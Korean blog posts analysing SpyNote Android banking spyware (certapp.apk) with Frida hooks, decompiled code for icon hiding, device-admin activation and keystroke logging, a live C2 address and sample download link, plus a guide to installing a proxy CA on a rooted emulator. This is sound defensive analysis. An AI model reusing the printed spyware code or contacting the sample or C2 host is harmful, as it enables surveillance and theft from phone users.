0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 37 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 51  ....bm...ml...t.\n0010  59 58 6C 75 62 33 64 43 61 58 70 64..\n7A 5 [8144] bytes of zeroesn0020  0A 3E 0D 0A 0A 00 00 00 00 00 00 00 00 00 00 00  ..
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

frida java backtrace

https://stackoverflow.com/questions/48480980/print-stacktrace-using-frida

http://linforum.kr/bbs/board.php?bo_table=android&wr_id=532

코드

/**
It should be launch earlier in order to be aware of a maximun 
quantity of file descriptors.


@author @FrenchYeti
*/
Java.perform(function () {
  var logContentArray = new Array();
  var singlePrefix = '|-';
  function uniqBy(array, key) {
    var seen = {};
    return array.filter(function (item) {
      var k = key(item);
      return seen.hasOwnProperty(k) ? false : (seen[k] = true);
    });
  }

  function traceClass(targetClass) {
    var hook = Java.use(targetClass);
    var methods = hook.class.getDeclaredMethods();
    hook.$dispose;

    var parsedMethods = [];
    methods.forEach(function (method) {
      parsedMethods.push(
        method
          .toString()
          .replace(targetClass + '.', 'TOKEN')
          .match(/\sTOKEN(.*)\(/)[1]
      );
    });

    var targets = uniqBy(parsedMethods, JSON.stringify);
    targets.forEach(function (targetMethod) {
      traceMethod(targetClass + '.' + targetMethod);
    });
  }

  // usage examples
  function traceMethod(targetClassMethod) {
    var delim = targetClassMethod.lastIndexOf('.');
    if (delim === -1) return;

    var targetClass = targetClassMethod.slice(0, delim);
    var targetMethod = targetClassMethod.slice(
      delim + 1,
      targetClassMethod.length
    );
    var hook = Java.use(targetClass);
    var overloadCount = hook[targetMethod].overloads.length;
    console.log(
      'Tracing ' + targetClassMethod + ' [' + overloadCount + ' overload(s)]'
    );
    for (var i = 0; i < overloadCount; i++) {
      hook[targetMethod].overloads[i].implementation = function () {
        var logContent_1 = 'entered--' + targetClassMethod;
        var prefixStr = gainLogPrefix(logContentArray);
        logContentArray.push(prefixStr + logContent_1);
        console.log(prefixStr + logContent_1);

        for (var j = 0; j < arguments.length; j++) {
          var tmpLogStr = prefixStr + 'arg[' + j + ']: ' + arguments[j];
          console.log(tmpLogStr);
        }

        var retval = this[targetMethod].apply(this, arguments);
        var tmpReturnStr = prefixStr + 'retval: ' + retval;
        console.log(tmpReturnStr);
        var logContent_ex = 'exiting--' + targetClassMethod;
        console.log(prefixStr + logContent_ex);
        return retval;
      };
    }
  }

  function gainLogPrefix(theArray) {
    var lastIndex = theArray.length - 1;
    if (lastIndex < 0) {
      return singlePrefix;
    }

    for (var i = lastIndex; i >= 0; i--) {
      var tmpLogContent = theArray[i];
      var cIndex = tmpLogContent.indexOf('entered--');
      if (cIndex == -1) {
        var cIndex2 = tmpLogContent.indexOf('exiting--');
        if (cIndex2 == -1) {
          continue;
        } else {
          var resultStr = tmpLogContent.slice(0, cIndex2);
          return resultStr;
        }
      } else {
        var resultStr = singlePrefix + tmpLogContent.slice(0, cIndex); //replace(/entered--/, "");
        return resultStr;
      }
    }
    return '';
  }

  setTimeout(function () {
    Java.perform(function () {
      traceClass(
        'keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27'
      );
      //traceClass("com.xxx.Application");
    });
  }, 0);
});

socket을 날리는 run 함수를 후킹해봤다.

함수 frida 코드 가져오기

함수 코드

let b = Java.use("keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27$b");
b["run"].implementation = function () {
    console.log('run is called');
    let ret = this.run();
    console.log('run ret value is ' + ret);
    return ret;
};

후킹코드 제작

http://linforum.kr/bbs/board.php?bo_table=android&wr_id=532

/**
 * It should be launched earlier to be aware of a maximum quantity of file descriptors.
 *
 * @author @FrenchYeti
 */

Java.perform(function () {
  var ThreadDef = Java.use('java.lang.Thread');
  var ThreadObj = ThreadDef.$new();

  function stackTrace() {
    var stack = ThreadObj.currentThread().getStackTrace();
    for (var i = 0; i < stack.length; i++) {
      console.log(i + ' => ' + stack[i].toString());
    }
    console.log('-------------------------------------');
  }

  var b = Java.use(
    'keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27$b'
  );
  b.run.implementation = function () {
    console.log('run is called');
    stackTrace();
    console.log('run ret value is ' + ret);
    return ret;
  };
});

하지만…

socket은 날라가고 있었다.

SpyNote - certapp.apk 악성앱 분석

우제혁 — Thu, 28 Dec 2023 18:54:32 +0900

스파이웨어, SpyNote

일반적으로 사용자 데이터를 수집하고 그로부터 이익을 얻거나 간첩 활동을 수행하는 데 사용되지만 SpyNote는 현재 은행 사기에도 사용되고 있다. 다른 연구자들에 의해서도 유사한 캠페인이 보고되고 있다.

악성앱 개요

앱 분석 자료: https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions

APP 이름:certapp.apk

다운로드 링크

https://bazaar.abuse.ch/sample/7a16952bea9714cad6330960898edf6262c0e5e19d0b47716e31b6cc24463e07/

앱 설치 환경 : NOX 애뮬레이터

분석 도구 : ADB , APK EASY TOOL , jadx-gui

악성 앱 분석

두 앱은 동작 방식과 코드가 유사함으로 certapp.apk 를 기준으로 분석했다.

앱 권한 허용 범위

정적 분석(AndroidManifest.xml 에서의 권한 설정)

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="52519135" android:versionName="52.51.91.35" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="in.titanium.cooked" platformBuildVersionCode="30" platformBuildVersionName="11">
    <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="29"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.BACKGROUND_ACTIVITY_STARTER"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>

코드 해석

코드분석

android.permission.SEND_SMS: SMS 메시지 보내기 권한.
android.permission.PROCESS_OUTGOING_CALLS: 발신 전화 처리 권한.
android.permission.SET_WALLPAPER: 배경 화면 설정 권한.
android.permission.READ_SMS: SMS 메시지 읽기 권한.
android.permission.READ_CALL_LOG: 통화 기록 읽기 권한.
android.permission.READ_CONTACTS: 연락처 읽기 권한.
android.permission.GET_ACCOUNTS: 계정 정보 가져오기 권한.
android.permission.CAMERA: 카메라 접근 권한.
android.permission.RECORD_AUDIO: 오디오 녹음 권한.
android.permission.ACCESS_COARSE_LOCATION: 대략적인 위치 정보 접근 권한.
android.permission.ACCESS_FINE_LOCATION: 정확한 위치 정보 접근 권한.
android.permission.CALL_PHONE: 전화 걸기 권한.
android.permission.DISABLE_KEYGUARD: 잠금화면 비활성화 권한.
android.permission.FOREGROUND_SERVICE: 포그라운드 서비스 사용 권한.
android.permission.READ_EXTERNAL_STORAGE: 외부 저장소 읽기 권한.
android.permission.WRITE_EXTERNAL_STORAGE: 외부 저장소 쓰기 권한.
android.permission.BACKGROUND_ACTIVITY_STARTER: 백그라운드 액티비티 스타터 권한.
android.permission.RECEIVE_BOOT_COMPLETED: 부팅 시 작동 권한.
oppo.permission.OPPO_COMPONENT_SAFE: OPPO 디바이스에서의 컴포넌트 안전성 권한.
android.permission.INTERNET: 인터넷 접근 권한.
android.permission.SYSTEM_ALERT_WINDOW: 시스템 경고 창 표시 권한.
android.permission.READ_PHONE_STATE: 전화 상태 읽기 권한.
android.permission.WAKE_LOCK: 디바이스 화면 깨우기 권한.
com.android.alarm.permission.SET_ALARM: 알람 설정 권한.
android.permission.ACCESS_NETWORK_STATE: 네트워크 상태 접근 권한.
android.permission.ACCESS_WIFI_STATE: Wi-Fi 상태 접근 권한.
android.permission.CHANGE_WIFI_STATE: Wi-Fi 상태 변경 권한.
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS: 배터리 최적화 무시 권한.
com.android.launcher.permission.INSTALL_SHORTCUT: 바로 가기 설치 권한.
android.permission.REQUEST_INSTALL_PACKAGES: 앱 설치 권한 요청 권한.
android.permission.REQUEST_DELETE_PACKAGES: 앱 삭제 권한 요청 권한.
android.permission.USE_FULL_SCREEN_INTENT: 전체 화면 인텐트 사용 권한.

앱에 대한 접근성을 허용하면 다음과 같이 7개의 권한이 주어진다.

앱 아이콘 숨기기

정적 분석(아이콘 은닉)

public static void k(Context context, String str) {
        ComponentName componentName;
        if (str != null) {
            try {
                String string = context.getResources().getString(R.string.pvczpromisedt64);
                c = string;
                if (string.charAt(0) == w) {
                    PackageManager packageManager = context.getPackageManager();
                    if (C71.c == "C") {
                        packageManager.setComponentEnabledSetting(new ComponentName(context, "in.titanium.costm"), 1, 1);
                        componentName = new ComponentName(context, "in.titanium.MainActive");
                    } else if (C71.c != "K") {
                        return;
                    } else {
                        componentName = new ComponentName(context, "in.titanium.MainActive");
                        if (packageManager.getComponentEnabledSetting(componentName) == 2) {
                            return;
                        }
                    }
                    packageManager.setComponentEnabledSetting(componentName, 2, 1);
                }
            } catch (Exception unused) {
            }
        }
    }

일반적으로 packageManager.setComponentEnabledSetting(...) 매서드를 통해 아이콘을 은닉하는데 이것의 원리는 컴포넌트(in.titanium.costm)를 활성화하여 화면에 나타나지 않도록 하는 것이다.

패키지 조회를 통해 앱 설치 확인 + 아이콘 은닉 모습

설정 앱을 통해 악성 앱이 깔려있는 모습이 확인

앱 권한 자동 허용

앱 강제 실행

앱이 확인되지 않는 관계로 adb를 사용하여 강제 실행해주는 방법을 선택했다.

패키지 확인

pm list packages -f

메인 액티비티 확인

pm dump in.titanium.cooked

메인 액티비티 경로 : in.titanium.cooked/in.titanium.MainActive

앱 실행 명령어

adb shell am start -n in.titanium.cooked/in.titanium.MainActive

알림 창 모습

실행함과 동시에 앱에 대한 알림창이 생성되며 알림 창을 터치할시 존재하지 않는 앱이라는 응답이 돌아온다.

이후 앱의 어느 부분을 터치하던 접근성 허용 설정 화면으로 넘어가게 되며

접근성 사용함을 누르자마자 갑자기 7가지 권한이 허용되더니 앱이 꺼졌다

정적 분석(Android 기기 관리자(Device Policy Manager)를 활성화하기 위한 코드)

startActivityForResult함수는 디바이스 관리자 활성화 화면을 시작하며 결과 코드로 여기서는 0을 사용하고 있다.

in.titanium/p0002/C14_AA

@Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        try {
            try {
                getApplicationContext();
                C38.q = (DevicePolicyManager) getSystemService("device_policy");
                C38.r = new ComponentName(this, C7_AR.class);
            } catch (Exception unused) {
                Boolean bool = Boolean.TRUE;
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
                while (bool.booleanValue()) {
                    bool = Boolean.FALSE;
                }
            }
            if (!C38.q.isAdminActive(C38.r)) {
                C72.k = Boolean.TRUE;
                Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
                intent.putExtra("android.app.extra.DEVICE_ADMIN", C38.r);
                intent.putExtra("android.app.extra.ADD_EXPLANATION", d.p("Click on Activate buttonlocale༇rpm༲plಊscientistཝrefrigeratorཪipsཕunderstandingකxanax།textbookಮfuดeauཊapproachಃexceptionྙmfgถcoastಓamazonකcallsཛྷcouplesཇhonorྒapartmentsྰassists༙narrow༩jerusalemඃmailsཌexemptionིanotherඋrapidlyཟexpansionೇpaymentඤkeyถreplicaകrender್transmissionخzimbabwe༪definingདnowhere༓explorerൈmaළlindsayിskatingདlyricඑdragടdragฒreceiveིsmell༮installationsཪpoemඑfeelingsཊzambiaྕsupervisorචhungarian༜syracuse58"));
                startActivityForResult(intent, 0);
            }
        } catch (Exception unused2) {
        }
        finish();
    }

Android 기기 관리자 기능을 제어하는 데 사용하는DevicePolicyManager를 얻어와 C38.q에 저장하고 이후 ComponentName을 생성하여 C7_AR 클래스를 대상으로 하는 C38.r 를 정의 해준다.

이후 Android 기기 관리자가 활성화되어 있지 않은 경우 startActivityForResult함수를 통해 기기 관리자를 활성화 시킨다.

키로거

정적분석(로그파일 기록)

[in.titanium.p0002.p0013.C72.H()]

void H(String str) {
        try {
            String charSequence = DateFormat.format("yyyy-MM-dd", new Date()).toString();
            File externalStorageDirectory = Environment.getExternalStorageDirectory();
            File file = new File(externalStorageDirectory, "/Config/sys/apps/log");
            File file2 = new File(externalStorageDirectory, "/Config/sys/apps/log/log-" + charSequence + ".txt");
            if (!file.exists()) {
                file.mkdirs();
            }
            if (!file2.exists()) {
                file2.createNewFile();
            }
            String str2 = F(str) + ">\r\n";
            BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(file2, true));
            bufferedWriter.append((CharSequence) str2);
            bufferedWriter.newLine();
            bufferedWriter.close();
        } catch (IOException | Exception unused) {
        }
    }

str을 받아 그대로 로그파일을 생성해서 BufferedWriter 로 모두 기록하는 코드이다.

실제 adb shell로 들어가보니 로그 파일이 있었다.

로그 파일

log-2023-10-10.txt

0.32MB

로그 파일 검증

base64 디코딩사이트를 통해 로그 파일을 분석했다.

https://www.base64decode.org/

확인 결과 모든 이벤트들이 다 기록이 되고 있었다.

삭제 방지

앱을 삭제하는 방법중 하나는 설정의 애플리케이션을 통해 앱 삭제를 진행하는것이다.

하지만 삭제하기 위해 앱 항목을 선택하게되면 자동으로 설정화면이 꺼지면서 삭제가 방해한다.

이벤트 가로채기

홈 화면으로 리다이렉팅 되기전 0.3초 안에 버튼 누르게 된다면 삭제가 가능하다.

adb 앱 삭제 방법

네트워크 분석(HTTP / HTTPS) - FIDDER / BRUPSUIT

FIDDER (실패)

1. 설정을 통해 8877로 포트를 설정해준다.

2. ipoconfig로 wifi IPv4 Adress를 알아낸다.

172.30.1.22

3. 녹스의 네트워크 설정으로 들어간뒤 WiredSSID를 2초정도 누르고 있으면 네트워크 수정 버튼이 생긴다.

4. 프록시를 수동으로 변경하고 아까 ipconfig로 알아낸 ip와 피들러에서 설정한 포트를 입력해준다.

nox에 인증서를 설치하는것은 아래 글에서 확인하자.

2023.12.28 - [Android] - Android Nox 인증서 설치

Android Nox 인증서 설치

Fiddler 실패... 인증서 설치 과정1 http://ipv4.fiddler:8877/ 로 접근하여 피들러 인증서를 다운받는다. ⇒ FiddlerRoot certificate 계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다. 설정에서 인

wpgur.tistory.com

네트워크 http/https 분석 결론

http로는 중요 정보를 전송하고 있지 않으며 외부 서버에서 http통신은 하고 있지 않았다.

네트워크 분석(TCP) - WIRESHARK

분석 환경 세팅

분석은 내부 WIFI를 선택해 패킷수집을 진행했다.

분석 결과

수상한 패킷을 확인할 수 있었으며 37.120.141.144:7771로 패킷을 보내려는 시도를 확인할 수 있었다.

이후 IP와 PORT를 BASE64로 인코딩하여 jadx-gui에서 확인결과 apk 내부 코드에서 하드코딩된 부분을 발견할 수 있었다.

이어서 socket으로 전송하는 코드도 확인 할 수 있었다.

IP변조를 통해 전송 데이터 확인

패킷은 보내졌지만 ip가 존재하지 않아 어떤 데이터를 보내게 되는지 확인이 안됐다.

따라서 스말리 코드의 ip를 변경해서 어떤 데이터가 보내지는지 확인을 진행했다.

분석 환경 구축 개요

AWS 인스턴스 생성
내부 7771 포트로 리스팅 스크립트 제작후 실행
데이터 전송 테스트
APK 디컴파일 이후 스말리 코드에서의 IP 변경후 다시 COMPILE

AWS 인스턴스 생성

1. aws 계정을 생성한다.

https://docs.aws.amazon.com/ko_kr/accounts/latest/reference/manage-acct-creating.html

2. 인스턴스를 시작으로 생성진행

3. 이름 및 태그 설정

4. 내부 OS 이미지 설정

5. putty 접근을 위한 ACESS key를 생성

6. 나머지는 기본 설정으로 해주고 생성

7. PUTTY로 접근

인스턴스 IP입력

접근 키 입력

OPEN 버튼을 눌러 터미널 진입후 user에 ec2-user로 접속

내부 리스너 제작

서버에 보내지는 데이터를 확인하기 위한 aws 인스턴스 구현

https://skstp35.tistory.com/383

PUTTY 접속후 인스턴스 내부 PYTHON 설치

sudo yum groupinstall 'Development Tools'

sudo yum install openssl-devel bzip2-devel libffi-devel wget

sudo wget https://www.python.org/ftp/python/3.12.0/Python-3.12.0.tgz

tar xvf Python-3.12.0

cd Python-3.12.0

sudo ./configure --enable-optimizations
sudo make altinstall
sudo ln -s /usr/local/bin/python3.12 /bin/python3

2. 리스너 코드 제작

import socket

host = '0.0.0.0'  # 모든 인터페이스에서 들어오는 연결 수락
port = 8080  # 확인하려는 포트

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)

print(f"리스닝: {host}:{port}")

while True:
    client_socket, addr = server_socket.accept()
    print(f"연결 수신: {addr[0]}:{addr[1]}")
    data = client_socket.recv(1024)
    print(f"받은 데이터: {data.decode('utf-8')}")
    client_socket.close()

3. 접근을 위해 보안그룹 수정

인스턴스에 할당된 보안그룹을 통해 인바운드를 내 ip로 설정해줬다.

4. 테스트 데이터 전송 코드 생성(로컬에서 진행)

import socket

# 대상 호스트 및 포트 설정
host = '18.219.96.225'  # 테스트하려는 호스트의 IP 주소 또는 도메인
port = 7771  # 테스트하려는 포트 번호

# 전송할 데이터 설정
data_to_send = b'This is a test packet'  # 전송할 데이터 (바이트 스트링)

# 소켓 생성 및 연결
try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    print(f"연결 성공: {host}:{port}")

    # 데이터 전송
    client_socket.send(data_to_send)
    print(f"데이터 전송: {data_to_send.decode('utf-8')}")

    # 연결 종료
    client_socket.close()
    print("연결 종료")

except Exception as e:
    print(f"오류 발생: {str(e)}")

5. 접근 확인

테스트 코드로 진행해서 잘 전달되는것을 확인했다.

스말리 코드 수정

1. 수정을 위해 APK 툴로 악성앱 업로드 이후 DECOMPILE 진행

2. 전송되고 있었던 IP를 BASE64로 인코등한뒤 디컴파일 된 코드내부에서 검색

3. 테스트가 완료된 인스턴스 IP주소를 인코딩하여 코드 수정

데이터 확인 결론…

하지만 compile 도중 에러가 발생했고 로그 확인 결과 패키지 이름 및 액티비티 클래스 이름이 올바르지 않을 때 발생하는 오류였다…. 이 악성앱의 특성상 파일 경로가 난독화여서 compile이 안되는거 같다…

에러 코드

java.exe -jar "D:\wpgur\APK+Easy+Tool+v1.60+Portable\Apktool\apktool_2.8.1.jar" b -f --use-aapt2 -o "D:\wpgur\APK+Easy+Tool+v1.60+Portable\2-Recompiled APKs\certapp.apk" "D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp"
I: Using Apktool 2.8.1
I: Smaling smali folder into classes.dex...
I: Smaling smali_classes2 folder into classes2.dex...
I: Smaling smali_classes3 folder into classes3.dex...
I: Smaling smali_classes4 folder into classes4.dex...
I: Building resources...
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:72: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:73: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:74: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:76: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:77: error: attribute 'android:name' in <package> tag must be a valid Java package name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:78: error: attribute 'android:name' in <package> tag must be a valid Java package name.
brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\wpgur\AppData\Local\Temp\brut_util_Jar_25674596439101744259128885300908395959.tmp, link, -o, C:\Users\wpgur\AppData\Local\Temp\APKTOOL12674948444528757534.tmp, --package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 52519135, --version-name, 52.51.91.35, --no-auto-version, --no-version-vectors, --no-version-transitions, --no-resource-deduping, --allow-reserved-package-id, --enable-sparse-encoding, -e, C:\Users\wpgur\AppData\Local\Temp\APKTOOL238376386163913241.tmp, -0, arsc, -I, C:\Users\wpgur\AppData\Local\apktool\framework\1.apk, --manifest, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml, D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\build\resources.zip]
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:93: error: attribute 'android:name' in <activity> tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:101: error: attribute 'android:name' in <activity> tag must be a valid Java class name.
W: D:\wpgur\APK+Easy+Tool+v1.60+Portable\1-Decompiled APKs\certapp\AndroidManifest.xml:102: error: attribute 'android:name' in <activity> tag must be a valid Java class name.

방어 회피

내부 패키지 명을 난독화 하여 분석을 힘들게 하며 코드 내에서 실행 및 분석되는 것을 방지하기 위한 안티 에뮬레이터 제어와 같은 다양한 방어 회피 기술을 사용하고 있다.

따라서 dex를 추출하는 방식을 사용하기로 했다.

https://blog.naver.com/PostView.naver?blogId=koo__oo&logNo=222137154226&parentCategoryNo=&categoryNo=7&viewDate=&isShowPopularPosts=false&from=postView

다음 블로그를 참고 했으며

pip install frida-dexdump

다운을 진행한다.

이후 프리다 서버를 실행시켜주고 앱도 실행시켜 준다

./adb shell ps

이후 위의 명령어를 확인해 보면

4517 pid를 확인 하여 dex를 떠준다

frida-dexdump -U -p 4517

d2j-dex2jar.bat classes02.dex

깨진다…

jadx-gui 로 jar 파일을 열었다.

내부 코드를 frida snippet으로 복사하면

역시나 깨진다….. 망할..

다른 분석 보고서 참고 추가 분석내용

SMS 수집 및 2FA 우회

여러 앱(예: 이메일, 소셜 네트워크 등)에서는 2단계 인증(2FA) 코드를 사용하여 추가 보안 계층을 추가할 수 있다.

이는 사용자가 계정에 로그인하려면 비밀번호 외에 코드도 입력해야 함을 의미한다. 이 코드는 Google Authenticator와 같은 앱에서 생성되거나 SMS 메시지 또는 이메일을 통해 전송될 수 있다.

은행의 경우 EU 결제 서비스 지침 2(PSD2)에 따라 은행에서 사용자 기기로 전송한 핀이나 지문 등을 통해 자금 거래를 확인하는 강력한 고객 인증(SCA)을 사용해야 한다.

SpyNote는 사용자가 받은 SMS 메시지를 수집하여 C2 서버로 전송할 수 있으며 접근성 서비스를 활용하여 Google Authenticator 앱에서 생성된 임시 코드에 액세스할 수도 있습니다.

SpyNote가 훔친 SMS 메시지의 예

화면 녹화 및 방어 회피

사용자 행동을 관찰하고 더 많은 정보를 수집하기 위해 TA가 채택한 또 다른 흥미로운 기술은 Media Projection API이다.

이 Android 기능을 사용하면 장치 디스플레이의 화면 콘텐츠를 캡처할 수 있다.

사용자는 알림 패널에서 애플리케이션(이 경우 "CERTIFCATO")이 자신의 화면을 투사하고 있음을 볼 수 있습니다.

Android Nox 인증서 설치

우제혁 — Thu, 28 Dec 2023 18:43:42 +0900

Fiddler 실패...

인증서 설치 과정1

http://ipv4.fiddler:8877/ 로 접근하여 피들러 인증서를 다운받는다.

⇒ FiddlerRoot certificate

계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다.

설정에서 인증서 설치를 찾는다.

이후 인증서 설치에 들어간다.

그럼 다운받아놓은 피들러 인증서가 보이며 클릭을 통해 설치를 진행한다

이때 PIN또는 인증과정을 등록해야 설치가 가능하다.

이후 이름을 정해주고 설치를 진행한다.

인증서 설치 과정2

openssl 을 통해 DER 을 PEM으로 변경

openssl x509 -inform DER -in cacert.der -out cacert.pem

• openssl 을 통해 인증서 해시값을 추출한다.

openssl x509 -inform PEM -subject_hash_old -in cacert.pem

이후 안드로이드 앱에서 개발자 모드를 설정해준다.

이후 연결을 확인한다.

그리고 인증서를 넣어준다.

adb push 269953fb.0 /data/local/tmp

이후 adb shell 로 접근한뒤 su로 권한을 준다.

이때 su가 없다고뜨며 안된다면 루팅이 안된것이다 난 오딘으로 루팅해줬다.

mount -o rw,remount /system

이후 인증서 파일을 옮겨준다.

BRUPSUIT 성공!!!

1. 인증서 다운 이후 시그니처 확인해서 이름 변경 후 adb push로 내부 설치

2. 마운트 이후 인증서 경로로 파일 이동

3. ipconfig로 내부 ip 확인

172.30.1.22

4. 녹스의 네트워크 설정으로 들어간뒤 WiredSSID를 2초정도 누르고 있으면 네트워크 수정 버튼이 생긴다.

5. 프록시를 수동으로 변경하고 아까 ipconfig로 알아낸 ip와 피들러에서 설정한 포트를 입력해준다.

6. 버프스위트도 내부 프록시 설정

7. burp 프록시 enable 알람 클릭

8. 접근 확인

